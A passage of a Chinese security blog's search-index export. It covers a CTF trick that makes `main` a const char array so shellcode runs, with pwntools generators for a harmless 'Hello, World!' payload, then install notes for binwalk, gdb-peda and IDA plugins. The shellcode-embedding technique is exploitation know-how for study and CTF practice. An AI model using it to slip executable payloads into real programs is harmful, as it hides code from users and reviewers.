class="line">.text:00000000004006EF                 mov     r8, offset __libc_csu_fini ; fini</span><br><span class="line">.text:00000000004006F6                 mov     rcx, offset __libc_csu_init ; init</span><br><span class="line">.text:00000000004006FD                 mov     rdi, offset main ; main</span><br><span class="line">.text:0000000000400704                 call    ___libc_start_main</span><br><span class="line">.text:0000000000400709                 hlt</span><br><span class="line">.text:0000000000400709 ; &#125; // starts at 4006E0</span><br><span class="line">.text:0000000000400709 _start          endp</span><br></pre></td></tr></table></figure>

<span id="more"></span>

<p>在 <strong>.text:00000000004006FD</strong> 的位置，它将main这个变量的地址赋给rdi，即作为 <strong>___libc_start_main</strong> 的第一个参数，随后该函数会调用main，即跳转到main这个变量上，执行上面的语句。</p>
<p>若是按照如下的方法编写代码</p>
<figure class="highlight c"><table><tr><td class="code"><pre><span class="line"><span class="type">const</span> <span class="type">char</span> main[]=<span class="string">&quot;\x00\x01\x02\x03&quot;</span>;</span><br></pre></td></tr></table></figure>

<p>当执行 <strong>___libc_start_main</strong> 后跳到main变量上时，就会执行 <strong>“\x00\x01\x02\x03”</strong> ，若是将汇编转为这个形式，则会执行这些汇编语句。同时，这样的语句有一种专业的叫法，叫shellcode。</p>
<p>注：之所以加const，首先这样可以防止\x00被编译器优化掉，其次是为了将这一段编译到 <strong>.rodata</strong> 段，这一个段默认是可以执行的。</p>
<p>但是为了通过这个题，还是需要更骚的操作，因为 <strong>[]</strong> 被禁用了。在gcc的实现中，相邻定义的变量，编译出来后，它们也是相邻的，所以上面的代码可以等价于</p>
<figure class="highlight c"><table><tr><td class="code"><pre><span class="line"><span class="type">const</span> <span class="type">char</span> main=<span class="number">0x1</span>, main1=<span class="number">0x1</span>, main2=<span class="number">0x2</span>, main3=<span class="number">0x3</span>;</span><br></pre></td></tr></table></figure>

<p>这样一来就可以完美的符合题意。</p>
<h2 id="shellcode"><a href="#shellcode" class="headerlink" title="shellcode"></a>shellcode</h2><p>详情见 <a href="http://blog.plusls.cn/technical/binary/pwn/shellcode/">shellcode</a></p>
<h2 id="一键生成代码"><a href="#一键生成代码" class="headerlink" title="一键生成代码"></a>一键生成代码</h2><p>下面的代码均基于pwntools</p>
<h3 id="x32-linux"><a href="#x32-linux" class="headerlink" title="x32 linux"></a>x32 linux</h3><figure class="highlight python"><table><tr><td class="code"><pre><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">get_print_asm</span>(<span class="params">s</span>):</span><br><span class="line">    s1 = asm(<span class="string">&#x27;&#x27;&#x27;</span></span><br><span class="line"><span class="string">    xor eax, eax</span></span><br><span class="line"><span class="string">    mov al, 0x4</span></span><br><span class="line"><span class="string">    xor ebx, ebx</span></span><br><span class="line"><span class="string">    mov bl, 0x1</span></span><br><span class="line"><span class="string">    &#x27;&#x27;&#x27;</span>)</span><br><span class="line">    s3 = asm (<span class="string">&#x27;&#x27;&#x27;</span></span><br><span class="line"><span class="string">    mov ecx, esp</span></span><br><span class="line"><span class="string">    mov edx, %s</span></span><br><span class="line"><span class="string">    int 0x80</span></span><br><span class="line"><span class="string">    &#x27;&#x27;&#x27;</span> % <span class="built_in">hex</span>(<span class="built_in">len</span>(s)))</span><br><span class="line">    hex_list = []</span><br><span class="line">    s2 = <span class="string">&#x27;&#x27;</span></span><br><span class="line">    <span class="keyword">while</span> <span class="built_in">len</span>(s) &gt;<span class="number">4</span>:</span><br><span class="line">        hex_list.append(u32(s[:<span class="number">4</span>]))</span><br><span class="line">        s = s[<span class="number">4</span>:]</span><br><span class="line">    s = s + <span class="string">&#x27;\x00&#x27;</span> * (<span class="number">4</span> - <span class="built_in">len</span>(s))</span><br><span class="line">    hex_list.append(u32(s))</span><br><span class="line">    hex_list.reverse()</span><br><span class="line">    <span class="keyword">for</span> each <span class="keyword">in</span> hex_list:</span><br><span class="line">        s2 += asm(<span class="string">&#x27;push %s&#x27;</span> % <span class="built_in">hex</span>(each))</span><br><span class="line">    s4 = asm(<span class="string">&#x27;&#x27;&#x27;</span></span><br><span class="line"><span class="string">    xor eax, eax</span></span><br><span class="line"><span class="string">    add esp, %s</span></span><br><span class="line"><span class="string">    ret</span></span><br><span class="line"><span class="string">    &#x27;&#x27;&#x27;</span> % <span class="built_in">hex</span>(<span class="built_in">len</span>(hex_list) * <span class="number">4</span>))</span><br><span class="line">    <span class="keyword">return</span> s1 + s2 + s3 + s4</span><br><span class="line"></span><br><span class="line"><span class="comment">#def shellcode2c(shellcode):</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">main</span>():</span><br><span class="line">    s = get_print_asm(<span class="string">&#x27;Hello, World!&#x27;</span>)</span><br><span class="line">    result = <span class="string">&#x27;&#x27;</span></span><br><span class="line">    result += <span class="string">&#x27;const char main=%s&#x27;</span> % <span class="built_in">hex</span>(<span class="built_in">ord</span>(s[<span class="number">0</span>]))</span><br><span class="line">    <span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">1</span>, <span class="built_in">len</span>(s)):</span><br><span class="line">        result += <span class="string">&#x27;, main%d=%s&#x27;</span> % (i, <span class="built_in">hex</span>(<span class="built_in">ord</span>(s[i])))</span><br><span class="line">    result += <span class="string">&#x27;;&#x27;</span></span><br><span class="line">    <span class="built_in">print</span> result</span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> __name__ == <span class="string">&#x27;__main__&#x27;</span>:</span><br><span class="line">    main()</span><br></pre></td></tr></table></figure>



<h3 id="x64-linux"><a href="#x64-linux" class="headerlink" title="x64 linux"></a>x64 linux</h3><figure class="highlight python"><table><tr><td class="code"><pre><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line">context.arch = <span class="string">&#x27;amd64&#x27;</span></span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">get_print_asm</span>(<span class="params">s</span>):</span><br><span class="line">    s1 = asm(<span class="string">&#x27;&#x27;&#x27;</span></span><br><span class="line"><span class="string">    xor rax, rax</span></span><br><span class="line"><span class="string">    mov al, 0x1</span></span><br><span class="line"><span class="string">    xor rdi, rdi</span></span><br><span class="line"><span class="string">    mov dil, 0x1</span></span><br><span class="line"><span class="string">    &#x27;&#x27;&#x27;</span>)</span><br><span class="line">    s3 = asm (<span class="string">&#x27;&#x27;&#x27;</span></span><br><span class="line"><span class="string">    mov rsi, rsp</span></span><br><span class="line"><span class="string">    mov rdx, %s</span></span><br><span class="line"><span class="string">    syscall</span></span><br><span class="line"><span class="string">    &#x27;&#x27;&#x27;</span> % <span class="built_in">hex</span>(<span class="built_in">len</span>(s)))</span><br><span class="line">    hex_list = []</span><br><span class="line">    s2 = <span class="string">&#x27;&#x27;</span></span><br><span class="line">    <span class="keyword">while</span> <span class="built_in">len</span>(s) &gt;<span class="number">8</span>:</span><br><span class="line">        hex_list.append(u64(s[:<span class="number">8</span>]))</span><br><span class="line">        s = s[<span class="number">8</span>:]</span><br><span class="line">    s = s + <span class="string">&#x27;\x00&#x27;</span> * (<span class="number">8</span> - <span class="built_in">len</span>(s))</span><br><span class="line">    hex_list.append(u64(s))</span><br><span class="line">    hex_list.reverse()</span><br><span class="line">    <span class="keyword">for</span> each <span class="keyword">in</span> hex_list:</span><br><span class="line">        s2 += asm(<span class="string">&#x27;mov rbx, %s&#x27;</span> % <span class="built_in">hex</span>(each))</span><br><span class="line">        s2 += asm(<span class="string">&#x27;push rbx&#x27;</span>)</span><br><span class="line">    s4 = asm(<span class="string">&#x27;&#x27;&#x27;</span></span><br><span class="line"><span class="string">    xor rax, rax</span></span><br><span class="line"><span class="string">    add rsp, %s</span></span><br><span class="line"><span class="string">    ret</span></span><br><span class="line"><span class="string">    &#x27;&#x27;&#x27;</span> % <span class="built_in">hex</span>(<span class="built_in">len</span>(hex_list) * <span class="number">8</span>))</span><br><span class="line">    <span class="keyword">return</span> s1 + s2 + s3 + s4</span><br><span class="line"></span><br><span class="line"><span class="comment">#def shellcode2c(shellcode):</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">main</span>():</span><br><span class="line">    s = get_print_asm(<span class="string">&#x27;Hello, World!&#x27;</span>)</span><br><span class="line">    result = <span class="string">&#x27;&#x27;</span></span><br><span class="line">    result += <span class="string">&#x27;const char main=%s&#x27;</span> % <span class="built_in">hex</span>(<span class="built_in">ord</span>(s[<span class="number">0</span>]))</span><br><span class="line">    <span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">1</span>, <span class="built_in">len</span>(s)):</span><br><span class="line">        result += <span class="string">&#x27;, main%d=%s&#x27;</span> % (i, <span class="built_in">hex</span>(<span class="built_in">ord</span>(s[i])))</span><br><span class="line">    result += <span class="string">&#x27;;&#x27;</span></span><br><span class="line">    <span class="built_in">print</span> result</span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> __name__ == <span class="string">&#x27;__main__&#x27;</span>:</span><br><span class="line">    main()</span><br></pre></td></tr></table></figure>



<h2 id="附录"><a href="#附录" class="headerlink" title="附录"></a>附录</h2>]]></content>
      <categories>
        <category>technical</category>
        <category>binary</category>
        <category>pwn</category>
      </categories>
  </entry>
  <entry>
    <title>完整安装 binwalk</title>
    <url>/technical/binary/tools/install-binwalk/</url>
    <content><![CDATA[<p>之前安装 binwalk 时都是 apt 一键安装, 后面使用时发现 apt 安装的 binwalk 会因为缺少一些命令行工具无法正常工作, 因此卸载掉了 apt 安装的 binwalk, 跟着官方文档手动安装 binwalk</p>
<p>然而官方文档都是基于 ubuntu 进行安装的, debian 下会缺少一些包。同时官方的依赖脚本也有些过时, 我根据自己机器的情况做了一些更改</p>
<p>我个人有一些强迫症, 不希望软件被装到 &#x2F;usr&#x2F;bin, 而是 ~&#x2F;.local&#x2F;bin, pip 安装时都加了 –user 参数</p>
<span id="more"></span>

<h3 id="安装本体"><a href="#安装本体" class="headerlink" title="安装本体"></a>安装本体</h3><p>pip 上的版本有点老旧, 这里直接从仓库安装</p>
<figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">pip3 install git+https://github.com/ReFirmLabs/binwalk.git --user</span><br></pre></td></tr></table></figure>

<h3 id="crypto"><a href="#crypto" class="headerlink" title="crypto"></a>crypto</h3><p>pycrypto 已停止更新, 使用 pycryptodome</p>
<figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">pip3 install pycryptodome --user</span><br></pre></td></tr></table></figure>

<h3 id="图片生成以及可视化"><a href="#图片生成以及可视化" class="headerlink" title="图片生成以及可视化"></a>图片生成以及可视化</h3><p>需要依赖 pyqtgraph 和 matplotlib</p>
<figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">pip3 install matplotlib PyQt5 pyqtgraph --user</span><br></pre></td></tr></table></figure>

<p>运行时报错</p>
<figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">qt.qpa.plugin: Could not load the Qt platform plugin &quot;xcb&quot; in &quot;&quot; even though it was found.</span><br></pre></td></tr></table></figure>

<p>这是因为 <code>libqxcb.so</code> 找不到 libxkbcommon-x11.so.0, libxkbcommon-x11.so.0, 在 <a href="https://code.qt.io/cgit/qt/qtbase.git/tree/dist/changes-5.12.1">pyqt5 的更新日志</a>中有提及</p>
<figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">- [QTBUG-65503] Removed xkbcommon from bundled sources. This library is</span><br><span class="line">  present on all supported platforms. The minimal required version now is</span><br><span class="line">  0.5.0.</span><br></pre></td></tr></table></figure>

<p>由于我是在 wsl 下安装的, 系统没有自带桌面环境, 是用 X11 转发到 vcxsrv 上是使用 GUI的, 因此没有带这个运行库</p>
<p>直接 apt 安装即可</p>
<figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">sudo apt install libxkbcommon-x11-0</span><br></pre></td></tr></table></figure>


<h3 id="反汇编"><a href="#反汇编" class="headerlink" title="反汇编"></a>反汇编</h3><p>binwalk 使用 capstone 进行反汇编</p>
<figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">pip3 install capstone --user</span><br></pre></td></tr></table></figure>

<h3 id="安装提取工具"><a href="#安装提取工具" class="headerlink" title="安装提取工具"></a>安装提取工具</h3><p>binwalk 运行时会依赖一些命令行工具用于提取固件</p>
<h4 id="APT-一键安装的命令行工具"><a href="#APT-一键安装的命令行工具" class="headerlink" title="APT 一键安装的命令行工具"></a>APT 一键安装的命令行工具</h4><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">sudo apt install mtd-utils gzip bzip2 tar arj lhasa p7zip p7zip-full cabextract cramfsswap squashfs-tools sleuthkit default-jdk lzop srecord</span><br></pre></td></tr></table></figure>

<p>软件包 cramfsprogs 包含命令 cramfsck, 在新版 ubuntu 和 debian 中已被移除, 我直接下载了旧版的包然后使用 dpkg 安装</p>
<figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">wget http://mirrors.tuna.tsinghua.edu.cn/debian/pool/main/c/cramfs/cramfsprogs_1.1-6_amd64.deb</span><br><span class="line">sudo dpkg -i cramfsprogs_1.1-6_amd64.deb</span><br><span class="line"><span class="built_in">rm</span> cramfsprogs_1.1-6_amd64.deb</span><br></pre></td></tr></table></figure>

<h4 id="安装-sasquatch"><a href="#安装-sasquatch" class="headerlink" title="安装 sasquatch"></a>安装 sasquatch</h4><p>sasquatch 用于提取非标准的 SquashFS 镜像</p>
<p>编译时出现了同 <a href="https://github.com/devttys0/sasquatch/issues/6">#6</a> 的报错, 这里使用了 @E3V3A 的解决方案, 使用 sed 修改了源码</p>
<figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">sudo apt install build-essential liblzma-dev liblzo2-dev zlib1g-dev</span><br><span class="line">git <span class="built_in">clone</span> https://github.com/devttys0/sasquatch</span><br><span class="line"><span class="built_in">cd</span> sasquatch</span><br><span class="line">wget https://downloads.sourceforge.net/project/squashfs/squashfs/squashfs4.3/squashfs4.3.tar.gz</span><br><span class="line"><span class="built_in">rm</span> -rf squashfs4.3</span><br><span class="line">tar -zxvf squashfs4.3.tar.gz</span><br><span class="line"><span class="built_in">cd</span> squashfs4.3</span><br><span class="line">patch -p0 &lt; ../patches/patch0.txt</span><br><span class="line"><span class="built_in">cd</span> squashfs-tools</span><br><span class="line"><span class="built_in">cd</span> LZMA/lzmadaptive/C/7zip/Compress/LZMA/</span><br><span class="line"><span class="built_in">mv</span> LZMA.h LZMA2.h</span><br><span class="line"><span class="built_in">cd</span> ../../../../../../LZMA/lzmalt/</span><br><span class="line"><span class="built_in">mv</span> LZMA.h LZMA3.h</span><br><span class="line"><span class="built_in">cd</span> ../../</span><br><span class="line">sed -i <span class="string">&quot;s/#include \&quot;LZMA.h\&quot;/#include \&quot;LZMA2.h\&quot;/g&quot;</span> LZMA/lzmadaptive/C/7zip/Compress/LZMA/LZMADecoder.h</span><br><span class="line">sed -i <span class="string">&quot;s/#include \&quot;LZMA.h\&quot;/#include \&quot;LZMA2.h\&quot;/g&quot;</span> LZMA/lzmadaptive/C/7zip/Compress/LZMA/LZMAEncoder.h</span><br><span class="line">sed -i <span class="string">&quot;s/#include \&quot;LZMA.h\&quot;/#include \&quot;LZMA3.h\&quot;/g&quot;</span> LZMA/lzmalt/LZMADecoder.h</span><br><span class="line">make</span><br><span class="line"><span class="built_in">cp</span> ./sasquatch ~/.local/bin</span><br><span class="line"><span class="built_in">cd</span> ../../../</span><br><span class="line"><span class="built_in">rm</span> -rf sasquatch</span><br></pre></td></tr></table></figure>

<h4 id="安装-jefferson"><a href="#安装-jefferson" class="headerlink" title="安装 jefferson"></a>安装 jefferson</h4><p>jefferson 用于提取 JFFS2 文件系统</p>
<figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">sudo apt install liblzma-dev</span><br><span class="line">pip2 install pyliblzma cstruct --user</span><br><span class="line">pip2 install git+https://github.com/sviehb/jefferson.git --user</span><br></pre></td></tr></table></figure>

<h4 id="安装-ubi-reader"><a href="#安装-ubi-reader" class="headerlink" title="安装 ubi_reader"></a>安装 ubi_reader</h4><p>ubi_reader 用于提取 UBIFS 文件系统</p>
<p>ubi_reader 在更新后增加了错误检查, 有些 UBIFS 提取时会会因为 “Added fatal error check if UBI block extends beyond file size” 中断</p>
<p>commit:</p>
<p><a href="https://github.com/jrspruitt/ubi_reader/commit/af678a5234dc891e8721ec985b1a6e74c77620b6">https://github.com/jrspruitt/ubi_reader/commit/af678a5234dc891e8721ec985b1a6e74c77620b6</a>)</p>
<p>由于本人有强迫症, 旧版 ubi_reader 不支持 python3, 因此直接安装的新版, 碰上问题再说吧</p>
<figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">sudo apt install liblzo2-dev</span><br><span class="line">pip3 install python-lzo</span><br><span class="line">pip3 install git+https://github.com/jrspruitt/ubi_reader.git --user</span><br></pre></td></tr></table></figure>

<h4 id="安装-yaffshiv"><a href="#安装-yaffshiv" class="headerlink" title="安装 yaffshiv"></a>安装 yaffshiv</h4><p>安装 yaffshiv 用于提取 YAFFS 文件系统</p>
<figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">pip2 install git+https://github.com/devttys0/yaffshiv --user</span><br></pre></td></tr></table></figure>

<h4 id="安装-unstuff-提取-StuffIt-档案文件"><a href="#安装-unstuff-提取-StuffIt-档案文件" class="headerlink" title="安装 unstuff 提取 StuffIt 档案文件"></a>安装 unstuff 提取 StuffIt 档案文件</h4><p>这玩意是闭源的, 没有 x64 版本</p>
<figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="built_in">mkdir</span> -p /tmp/unstuff</span><br><span class="line"><span class="built_in">cd</span> /tmp/unstuff</span><br><span class="line">wget -O - http://my.smithmicro.com/downloads/files/stuffit520.611linux-i386.tar.gz | tar -zxv</span><br><span class="line"><span class="built_in">cp</span> bin/unstuff ~/.local/bin</span><br><span class="line"><span class="built_in">cd</span> -</span><br><span class="line"><span class="built_in">rm</span> -rf /tmp/unstuff</span><br></pre></td></tr></table></figure>

]]></content>
      <categories>
        <category>technical</category>
        <category>binary</category>
        <category>tools</category>
      </categories>
  </entry>
  <entry>
    <title>使用GDB</title>
    <url>/technical/binary/tools/use-gdb/</url>
    <content><![CDATA[<p>作为一个pwn选手，一个好的动态调试工具肯定少不了，但是linux下并没有OD这样神奇的东西（edb除外），除了ida的远程调试工具外最好的选择就是gdb了。  </p>
<h2 id="安装gdb-peda"><a href="#安装gdb-peda" class="headerlink" title="安装gdb-peda"></a>安装gdb-peda</h2><p>在调试的时候，原版的gdb使用起来总感觉不是那么舒服，虽然有layout，但是会有一些奇奇怪怪的问题，这个时候选择一个好用的插件便会方便许多，本文选择的是<code>gdb-peda</code><br>安装过程十分简单，以安装在<code>～/peda</code>为例，有别的需求可自己更改  </p>
<figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">git <span class="built_in">clone</span> https://github.com/longld/peda.git ~/peda</span><br><span class="line"><span class="built_in">echo</span> <span class="string">&quot;source ~/peda/peda.py&quot;</span> &gt;&gt; ~/.gdbinit</span><br></pre></td></tr></table></figure>
<span id="more"></span>

<p>写作业去了，有空填坑</p>
]]></content>
      <categories>
        <category>technical</category>
        <category>binary</category>
        <category>tools</category>
      </categories>
  </entry>
  <entry>
    <title>科学使用 IDA</title>
    <url>/technical/binary/tools/use-ida/</url>
    <content><![CDATA[<p> ida作为工业级的逆向分析工具，尤其是其F5这个让人增寿的东西，若是正确使用，则可以为分析者节省下大把时间。 </p>
<p>注 ：本文默认IDA版本均为IDA7.0以及以上</p>
<span id="more"></span>

<h2 id="解决堆栈平衡，花指令"><a href="#解决堆栈平衡，花指令" class="headerlink" title="解决堆栈平衡，花指令"></a>解决堆栈平衡，花指令</h2><p>在如下文章有详细介绍</p>
<p><a href="http://blog.plusls.cn/ctf/xdctf-2017/reverse/destory/">[XDCTF-2017] destory</a></p>
<h2 id="IDA-python"><a href="#IDA-python" class="headerlink" title="IDA python"></a>IDA python</h2><p>挖坑待填</p>
<h2 id="插件"><a href="#插件" class="headerlink" title="插件"></a>插件</h2><h3 id="Python-editor"><a href="#Python-editor" class="headerlink" title="Python_editor"></a><a href="https://github.com/techbliss/Python_editor">Python_editor</a></h3><p>注：现在懒得装了</p>
<p>在IDA中编写python脚本简直反人类，若是需要运行一个python脚本还是比较麻烦的，打上了这个插件后可以很方便的编写以及运行python脚本</p>
<h4 id="安装"><a href="#安装" class="headerlink" title="安装"></a>安装</h4><ol>
<li>安装需要 <strong>Qscilla</strong> 模块，具体的安装比较复杂，作者已经帮忙打包好了一个装好所有依赖的python，需要从该链接下载 <a href="https://www.techbliss.org/threads/ida-pro-7-0-pyqt5-total-package-by-storm-shadow.950/">Pyqt5 ida pro 7.0</a> </li>
<li>用下载好的 python 替换电脑本身的 python （做不做备份看心情吧）</li>
<li>从 PyQt5 中提取 <strong>Qt5Core.dll , Qt5Gui.dll, Qt5widgets.dll</strong> 覆盖到 IDA目录下</li>
<li>删去 IDA 目录下 python 文件夹中的 sip.pyd 和 PyQt5 目录 （不删除分别会导致 IDA崩溃，无法正确识别PyQt5）</li>
<li>添加环境变量 <strong>QT_QPA_PLATFORM_PLUGIN_PATH&#x3D;Python目录\Lib\site-packages\PyQt5\plugins\platforms</strong> （没加好像会出现  a plugin “” not found）</li>
</ol>
<h4 id="截图"><a href="#截图" class="headerlink" title="截图"></a>截图</h4><p>运行Python脚本</p>
<p><img data-src="/technical/binary/tools/use-ida/img/1.png" alt="运行python脚本"></p>
<p>自动补全</p>
<p><img data-src="/technical/binary/tools/use-ida/img/2.png" alt="自动补全"></p>
<h3 id="Keypatch"><a href="#Keypatch" class="headerlink" title="Keypatch"></a><a href="https://github.com/keystone-engine/keypatch">Keypatch</a></h3><p>ida自身内建的补丁工具极其的难用，同时它只支持x86的汇编，打上这个插件后，修改汇编将会方便许多，可以直接按下 <strong>Ctrl+Alt+K</strong> 进行修改。</p>
<h4 id="安装-1"><a href="#安装-1" class="headerlink" title="安装"></a>安装</h4><ol>
<li>下载并安装 keystone(python版 IDA7.0需要安装x64的)  下载地址: <a href="http://www.keystone-engine.org/download/">keystone</a></li>
<li>将 <strong>keypatch.py</strong> 拷贝到 IDA 的插件目录</li>
</ol>
<h4 id="截图-1"><a href="#截图-1" class="headerlink" title="截图"></a>截图</h4><p><img data-src="/technical/binary/tools/use-ida/img/3.png" alt="keypatch"></p>
<h3 id="Hexlight"><a href="#Hexlight" class="headerlink" title="Hexlight"></a>Hexlight</h3><p>高亮各种括号</p>
<p><a href="https://bbs.pediy.com/thread-226099.htm">https://bbs.pediy.com/thread-226099.htm</a></p>
<h3 id="dwaf"><a href="#dwaf" class="headerlink" title="dwaf"></a>dwaf</h3><p>ida 7.0自带的一个插件</p>
<h3 id="jmp-to-next-fixup"><a href="#jmp-to-next-fixup" class="headerlink" title="jmp to next fixup"></a>jmp to next fixup</h3><p>寻找下一个fixup的地址</p>
<p>比如got表以及windows的重定位</p>
<h3 id="change-the-callee-address"><a href="#change-the-callee-address" class="headerlink" title="change the callee address"></a>change the callee address</h3><p>该插件允许用户改变called函数的地址</p>
<p>例如</p>
<figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">call rax</span><br></pre></td></tr></table></figure>

<p>实际上就是加个注释和交叉引用</p>
<p>可以把动态调试时的地址填入</p>
<h3 id="x64dbgida"><a href="#x64dbgida" class="headerlink" title="x64dbgida"></a>x64dbgida</h3><h4 id="安装-2"><a href="#安装-2" class="headerlink" title="安装"></a>安装</h4><p><a href="https://github.com/x64dbg/x64dbgida">https://github.com/x64dbg/x64dbgida</a></p>
<h4 id="功能"><a href="#功能" class="headerlink" title="功能"></a>功能</h4><p>同步x64dbg和ida之间的数据</p>
<h3 id="diaphora"><a href="#diaphora" class="headerlink" title="diaphora"></a>diaphora</h3><p><a href="https://github.com/joxeankoret/diaphora">https://github.com/joxeankoret/diaphora</a></p>
<p>尚未使用</p>
<h3 id="LazyIDA"><a href="#LazyIDA" class="headerlink" title="LazyIDA"></a>LazyIDA</h3><p>强烈安利</p>
<h4 id="安装-3"><a href="#安装-3" class="headerlink" title="安装"></a>安装</h4><p><a href="https://github.com/L4ys/LazyIDA">https://github.com/L4ys/LazyIDA</a></p>
<h4 id="功能-1"><a href="#功能-1" class="headerlink" title="功能"></a>功能</h4><p>移除return type</p>
<p>将数据转换为各种语言的数据</p>
<p>扫描格式化字符串漏洞</p>
<p>双击跳转到虚表函数</p>
<p>快捷键：</p>
<p>w 复制当前地址</p>
<p>c 复制当前item的名字</p>
<p>v 移除当前item的返回值</p>
]]></content>
      <categories>
        <category>technical</category>
        <category>binary</category>
        <category>tools</category>
      </categories>
  </entry>
</search>
